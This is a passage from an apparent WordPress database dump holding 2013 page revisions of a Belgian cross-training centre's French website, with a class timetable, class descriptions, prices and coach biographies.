&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:51:00', '2013-07-03 19:51:00', '', 20, 'http://www.crosstrainingcenter.be/?p=250', 0, 'revision', '', 0),
(256, 1, '2013-07-03 19:13:39', '2013-07-03 19:13:39', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:13:39', '2013-07-03 19:13:39', '', 11, 'http://www.crosstrainingcenter.be/?p=256', 0, 'revision', '', 0),
(251, 1, '2013-07-03 19:52:22', '2013-07-03 19:52:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting&lt;/h5&gt;\r\nFormateur coach\r\n\r\nCoach\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:52:22', '2013-07-03 19:52:22', '', 20, 'http://www.crosstrainingcenter.be/?p=251', 0, 'revision', '', 0),
(252, 1, '2013-07-03 19:54:26', '2013-07-03 19:54:26', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	